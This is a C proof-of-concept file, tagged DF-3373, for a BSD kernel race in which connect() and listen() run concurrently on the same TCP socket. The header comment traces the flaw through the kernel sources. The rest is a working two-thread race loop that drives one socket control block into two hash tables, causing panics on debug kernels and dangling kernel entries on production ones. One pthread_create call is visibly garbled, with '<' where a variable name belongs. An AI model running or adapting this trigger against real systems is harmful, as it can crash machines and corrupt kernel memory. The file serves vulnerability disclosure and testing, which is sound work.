DF-3373 / listen_connect_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-3373 PoC: connect(2)/listen(2) TOCTOU on the same TCP socket. * * The socket-layer guards are check-then-act without any token: * soconnect() reads so_options/SO_ACCEPTCONN and * SS_ISCONNECTED|SS_ISCONNECTING (uipc_socket.c:690,698) * solisten() reads SS_ISCONNECTED|SS_ISCONNECTING (uipc_socket.c:332) * and with the default async connect path the SS_ISCONNECTING flag is * only set inside tcp_usr_preconnect (tcp_usrreq.c:970), i.e. AFTER * soconnect's checks and after a kmalloc -- a real window on the * connector's thread. * * Neither tcp_usr_listen (guards: TF_LISTEN, inp_lport==0) nor * tcp_usr_connect/tcp_connect checks the opposite state, so if both * syscalls pass their window checks the two pru messages are both * processed and the SAME inpcb ends up inserted into both the wildcard * hash (in_pcbinswildcardhash, in_pcb.c:2283, INP_WILDCARD) and the * connection hash (in_pcbinsconnhash, in_pcb.c:1885, INP_CONNECTED): * [listen-msg first] -> tcp_connect_oncpu hits in_pcbinsconnhash's * ASSERT_INP_NOTINHASH ("already on wildcardhash") / dual hash * [connect-msg first] -> tcp_usr_listen's in_pcbunlink KASSERTs * ("already linked") / ASSERT_INP_NOTINHASH / dual hash * * INVARIANTS kernels panic; production kernels get an inpcb that is * member of both hashes and whose teardown (in_pcb_rmhash, * in_pcb.c:2381 removes only ONE membership) leaves a dangling entry. * * Strategy: thread A loops { socket(); publish fd; connect(10.0.2.2:1); } * thread B spins listen(fd, 1). Fresh socket each iteration. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static volatile int cur_fd = -1; static volatile unsigned long iters = 0; static volatile unsigned long listen_ok = 0, conn_inprog = 0, conn_opnotsupp = 0; static volatile int running = 1; #define DEST_IP "10.0.2.2" #define DEST_PORT 1 static void * connector(void *arg) { struct sockaddr_in dst; unsigned long n = 0; memset(&dst, 0, sizeof(dst)); dst.sin_len = sizeof(dst); dst.sin_family = AF_INET; dst.sin_port = htons(DEST_PORT); inet_pton(AF_INET, DEST_IP, &dst.sin_addr); while (running) { int s = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); int r; if (s < 0) { perror("socket"); sleep(1); continue; } cur_fd = s; /* publish for the listener */ r = connect(s, (struct sockaddr *)&dst, sizeof(dst)); if (r == 0) conn_inprog++; else if (errno == EINPROGRESS) conn_inprog++; else if (errno == EOPNOTSUPP) conn_opnotsupp++; /* listener won this round */ n++; iters = n; /* let a racing listen() land on this fd, then recycle */ usleep(30); close(s); } return (NULL); } static void * listener(void *arg) { while (running) { int s = cur_fd; if (s >= 0) { if (listen(s, 1) == 0) listen_ok++; } } return (NULL); } int main(int argc, char **argv) { pthread_t ct, lt; int secs = (argc > 1) ? atoi(argv[1]) : 60; setvbuf(stdout, NULL, _IOLBF, 0); pthread_create(&ct, NULL, connector, NULL); pthread_create(<, NULL, listener, NULL); sleep(secs); running = 0; pthread_join(ct, NULL); pthread_join(lt, NULL); printf("iters=%lu connect(EINPROGRESS/ok)=%lu connect(EOPNOTSUPP)=%lu " "listen(ok)=%lu\n", iters, conn_inprog, conn_opnotsupp, listen_ok); printf("SURVIVED - no panic\n"); return (0); } |